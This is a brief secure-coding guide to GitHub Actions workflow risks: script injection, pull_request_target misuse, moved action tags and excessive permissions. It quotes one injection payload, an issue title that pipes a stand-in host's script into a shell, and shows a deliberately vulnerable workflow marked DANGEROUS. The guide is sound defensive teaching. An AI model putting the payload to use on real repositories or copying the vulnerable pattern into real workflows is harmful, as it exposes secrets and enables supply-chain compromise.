CI holds deploy credentials and write access, so a workflow vulnerability is a supply-chain vulnerability.
Most real Actions compromises come from a few patterns.
Script injection. ${{ }} is substituted into the script text before bash runs. run: echo "${{ github.event.issue.title }}" with a title like "; curl evil.sh | sh; " executes attacker code. Anything a user controls (titles, bodies, branch names, commit messages) must go through env: and be referenced as a quoted shell variable.
pull_request_target and workflow_run. These run in the context of the base repository with secrets and a write token, even for fork PRs. That is fine for labelling, but if the workflow checks out and builds the PR's head code, the attacker's code runs with your secrets. Since actions/checkout v7, checking out fork PR code in these triggers is refused unless you set allow-unsafe-pr-checkout: true; don't. Never build untrusted code there; split into an unprivileged pull_request build and a privileged follow-up that only consumes its artifacts as data.
Supply chain. Tags of third-party actions can be moved to malicious code, as happened in the 2025 tj-actions/changed-files compromise. Pin third-party actions to full commit SHAs and let Dependabot update them.
Least privilege. Set permissions: contents: read at the top, elevate per job, prefer OIDC over stored keys, protect environments, and require approval for workflows from first-time contributors. Static analysers such as actionlint and zizmor catch many of these issues in review.
Example
# VULNERABLE: title is pasted into the script before bash runs
- run: echo "New issue ${{ github.event.issue.title }}"
# SAFE: pass untrusted data as an environment variable
- run: echo "New issue $TITLE"
env:
TITLE: ${{ github.event.issue.title }}
# DANGEROUS combination: privileged trigger + untrusted checkout
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
with:
ref: ${{ github.event.pull_request.head.sha }} # attacker's code
allow-unsafe-pr-checkout: true # checkout v7 refuses without it
- run: npm ci && npm test # runs it with secrets availableRemember
- Never interpolate user-controlled ${{ }} values into run scripts; use env
- pull_request_target + checking out PR code = secrets exposed to forks
- Pin third-party actions to SHAs and default to read-only permissions
Watch out for
- Believing quotes around ${{ }} inside run make it safe; the attacker can close the quotes.